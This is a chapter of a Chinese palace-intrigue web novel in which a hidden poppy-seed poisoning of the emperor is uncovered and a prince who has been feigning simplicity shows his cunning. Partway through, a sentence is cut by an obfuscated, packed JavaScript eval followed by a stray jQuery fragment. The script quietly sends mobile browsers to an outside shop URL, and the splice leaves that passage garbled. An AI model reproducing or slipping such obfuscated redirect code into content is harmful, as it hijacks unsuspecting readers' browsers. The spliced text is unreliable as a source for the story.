赵梦初接过帕子,神色也凝重起来。她没多问,直接把帕子拿到内室亮处。反手从袖子里,实际是从商超空间里拿出一枚放大镜。
她用银签挑起那几颗小粒,放在放大镜下细看,又用银簪蘸了点清水润湿,凑近鼻尖轻嗅。整个过程一言不发,只有偶尔响起的细微呼吸声。
半晌,她抬起头,脸色不太好看,把放大镜和银签放下,思考了片刻开口。
“殿下,这东西看起来像罂粟籽。虽然量很少,但长期服用,会成瘾。还有这汤羹里还混了一种特制的香料,不知道是什么成分,但香料气味甜暖,能完美掩盖罂粟的涩味,让人不知不觉吃下去。久了,离了这味道就会浑身酸痛、心烦意乱,精神恍惚,像生了大病一样。”
谢屏山踉跄一步,伸手扶住旁边的桌子,脸色瞬间褪尽血色。
“成瘾……所以父皇他……那些太医一个个都是饭桶吗?!”
“陛下恐怕早已被控制了。”
赵梦初语气冷静,带着不容置喙的实事求是。
“这东西极难查,因为它不算剧毒,反而像一种……依赖。太医诊脉,只会觉得陛下心绪不宁、气血两虚,绝不会想到是每日呼吸的香气、入口的饮食里动了手脚。皇后娘娘这是要拿捏君心,手段阴毒得很。”
“她怎么敢……她是皇后啊!”
谢屏山喃喃,拳头攥得死紧,指甲掐进掌心。
“殿下,此地不宜久留。”
赵梦初看着他。
“您回宫后务必提醒瑾王殿下,让他千万警惕皇后的一切赏赐,尤其是入口的东西。另外,您自己更要当心。瑾王殿下智力不足,不会对皇后和太子造成威胁,倒是您……近日深得圣心。”
谢屏山深吸一口气,强迫自己镇定下来,郑重朝着赵梦初行了一礼,声音沙哑。
“多谢大祭司。我……我知道该怎么做了。此事,绝不会牵连于你。”
“殿下,我不怕牵连。但这事,绝不能声张,不能打草惊蛇。皇后既然敢用在陛下身上,必有无数双眼睛盯着宫里的一举一动。”
谢屏山点点头,收好帕子,转身就走,背影比来时沉重了许多。
回到紫宸殿偏殿,谢屏山屏退左右,只留下谢凌渊一人。
谢凌渊此刻已经醒了,正趴在铺着白虎皮的地毯上玩九连环,听见脚步声,头也不抬。
“三哥,你回来啦,今天御膳房有小酥酪吗?”
谢屏山在他身边蹲下,看着他玩得专注,心里一阵酸涩翻涌。
今日,是他连累渊儿了。
“渊儿。”
他开口,声音沙哑,不再用哄孩子的语调,而是像一个成年人对另一个成年人说话,每个字都沉甸甸的。
“白天的汤羹三哥查过了。大祭司说了,那汤羹里……确实有不好的东西。是罂粟籽,混在一种香料里,尝不出来。吃多了,人会离不开它,像生病一样。父皇……父皇可能就是因为这个,才总是心烦气躁,坐立不安。”
谢凌渊玩九连环的手终于停了。
他慢慢抬起头,那双眼睛里没了孩童的懵懂,只剩下一种深潭般的平静,黑沉沉的,映着谢屏山的脸。他看着谢屏山,看了很久,才轻轻扯了扯嘴角,露出一个略带嘲讽的笑意,语气老成得吓人。
“三哥,你反应有点慢。不过,还算诚实。”
谢屏山被他这眼神看得心头一刺,喉头滚动,半晌才找回声音。
“你……你早就知道?”
“猜的。”
谢凌渊松开九连环,用小指勾了勾地毯厚实的绒毛,动作慢条斯理。
“母后太着急了。她以前不这样。自从丞相去了西境,她就忍不住了。今日是她第一次对你下手,但父皇身上的味道,已经很重了,有时候隔着老远就能闻见。一个人要是没病没痛,却天天离不开另一种味道,像掉了魂似的,那味道里,多半就有文章。”
谢屏山被谢凌渊震住了。
“渊儿,你!你不傻!”
谢凌渊抬起眼,黑白分明的眸子直视着谢屏山,没有任何闪躲。
“三哥,你心好,但脑子直。这事你别自己往下查,你会露馅。你只需要偶尔在父皇面前,装作无意间提起,说我最近不爱喝母后赐的汤羹,喝了就闹肚子,吐得厉害。剩下的,父皇自己会想。他比我们都急。”
谢屏山听得浑身发冷,像是刚从冰窖里捞出来。他看着眼前这张稚嫩的脸,第一次如此清晰地意识到,自己这个弟弟,从来都不是什么需要他全力庇护的稚子。相反,对方在暗处,看得比谁都清楚,算得比谁都明白。
“那你……这些年装傻,就是为了……”
谢屏山声音发涩,带着难以置信的震颤。
“为了活命啊。”
谢凌渊笑了一下,那笑容里没什么温度,像冰面裂开一道细缝。
“三哥,你远在北境不知道京城的阴谋诡谲。太子阴险,丞相狠毒,皇后伪善。我不装傻,早死了八百回了。现在好了,太子被禁足,丞相被支走,皇后以为捏住了父皇的软肋,正是她最松懈的时候。”
他凑近一些,气息温热,拂在谢屏山耳边,像个小鬼在说悄悄话,声音却冷。
“三哥,你记住,不管以后发生什么,你都要信我一句话,离母后远点,离她给的所有东西远点。她现在最怕的,不是太子,不是丞相,是你和我。因为我们是俩人里,她唯一还没完全捏住的棋子。我比你幸运,装了这么多年,她的戒心多少会松懈一些,但是三哥你……可得活得比我长点儿。”
谢屏山只觉得一股寒意从脚底窜上天灵盖。他看着谢凌渊,半晌,才找回自己的声音,带着一丝狼狈的坚持。
“我会的……我是你三哥,哥哥会保护你。”
谢凌渊早就做好了最坏的准备,可能兄弟决裂,可能伤心欲绝。
唯独没有想到三哥会说保护他。
“三哥……”
谢凌渊叹了口气。
“好吧,三哥。”
他语气平淡,却带着一种奇异的笃定。
“那你就要像个三哥的样子。你性子直,不擅长应付这宫里的虚情假意,你要记住,这宫里心好的人不多了,蠢的更不多。我要是只自己躲着,哪天你被人卖了还帮人数钱,我找谁哭去?三哥,你护着我,我也护着你。很公平。”
谢屏山眼眶一下子红了。他一把将谢凌渊搂进怀里,力道大得几乎让人窒息,手臂箍得紧紧的,像是怕一松手,怀里这个人就会化作青烟散了。
这一次,他不再掩饰自己的情绪,声音哽咽,带着从未有过的郑重。
“……好。我们互相护着。渊儿,你放心,只要三哥在一日,绝不会让人伤你分毫。就算……就算母后……”
他没说完,但谢凌渊听懂了。
怀里传来一声几不可闻的叹息,带着点无奈,又带着点认命。
“三哥,你也小心。我最近听人闲聊,说北边几个卫所的军饷,拨得有些奇怪,数目对不上,丞相的手伸得未免太长了些。你若有机会,不妨‘无意中’提点父皇一句。但记住,只是提点,别显得你查过。你查不过他们的。”
谢屏山身体又是一僵,抱着他的手臂微微颤抖。他松开谢凌渊,看着那双清澈却深不见底的眼睛,终于彻底明白,自己这个弟弟,早已在这深宫之中,织好了一张无形的网。而他谢屏山,才刚刚被允许,瞥见这网的一角,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792503|208208||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
就被那冰冷的丝线缠住了手脚。
“……我记下了。”
谢屏山声音艰涩,像咽下了一块石头。
紫宸殿的窗户支开着,灌进来的风带着初秋的寒意,却吹不散那股萦绕不散的甜暖香气。
谢镜明扔下手中的朱笔,笔杆在紫檀案几上滚了两圈,发出沉闷的响声。他抬手用力按了按突突直跳的太阳穴,指尖触到皮肤下青筋的搏动,烦躁像野火一样燎原。
又是这样,毫无来由的心烦意乱,四肢百骸像是被抽干了力气,又像是有无数蚁虫在啃噬骨髓,偏偏太医一个个跪在地上,口称“陛下龙体安康,只需静心调养”。
“静心……朕如何静心!”
他在心里嘶吼,面上却不动声色,只从喉咙里挤出一声压抑的冷哼。
“陛下,可是头又疼了?”
李德全躬着身子凑上前,手里捧着一盏参茶,小心翼翼地问。
“奴才这就传太医……”
“滚开!”
谢镜明猛地挥手,参茶泼了李德全一身,滚烫的茶水烫得他一哆嗦,却不敢呼痛,只连连叩头。
“奴才该死!奴才该死!”
谢镜明喘着粗气,胸口剧烈起伏。他想静心,可那股该死的甜香又来了,从他袖口,从他衣襟,从四面八方钻进他的鼻腔,勾起一种深入骨髓的渴望。
他贪婪地吸了一口气,随即又被这背叛般的渴望激怒,一把扯开领口的盘扣,露出古铜色的脖颈,上面隐隐浮着一层薄汗。
“都给朕退下!”
他低吼道,声音沙哑。
殿内宫人噤若寒蝉,连滚爬爬地退到门外,只留下李德全战战兢兢地守在屏风外。
偏殿的谢屏山和谢凌渊听到动静,急忙跑过来。
“父皇,你怎么样?”
谢屏山的关心不是假的,尤其是在刚刚得知父皇可能上瘾的情况下。与之相比,谢凌渊就淡定了许多。
“父皇,可是批折子批的烦闷了?”
“是啊,这初秋的天还是惹人烦躁的很,这文武百官都是酒囊饭袋,一批一批的折子写的都是屁话,惹得父皇心烦。”
谢镜明深吸一口气,忍住心中的烦躁。
“你们不用担心,老毛病了,歇歇就好,倒是你们,怎么如此紧张。”
谢凌渊露出一副憨憨的笑容,冲谢镜明撒娇。
“父皇,当孩儿的关心爹爹不是天经地义吗?父皇是天底下最好的爹爹了,渊儿担心您的身体。”
谢镜明此刻已经平复了许多,看着眼前的两个孩子,突然觉得自己好像还能再坚持一下。
“渊儿,你的封地早就赐给你了,一直都不曾去历练,上次要去发生了意外,如今你三哥在朕身边,朕也算是有所慰藉,不如趁此机会去封地看看吧。”
谢屏山和谢凌渊面面相觑,知晓父皇这是在保护谢凌渊。
一向沉默不语的谢屏山开口道。
“父皇,儿臣也觉得让七弟去封地历练历练是好事。”
“三哥……”
谢凌渊没想到谢屏山会这么说,心中感动却也有些生气,他明明已经知道自己不傻了,明明知道自己能帮他,却还是想把自己支走。
“渊儿,三哥会保护你,等你回来的时候,三哥和父皇一定把一个清明的大越朝交给你。”
谢屏山此刻突然理解了父皇为何召他回来,若是他以为渊儿傻,就让他当盾牌,若是早就知道渊儿不傻,那他就是垫脚石。
父皇最宠爱的,一直都是谢凌渊。
可是,他,愿意。
谢凌渊还想说点什么,却被谢屏山的话打断了。
“凌渊,我们是兄弟。”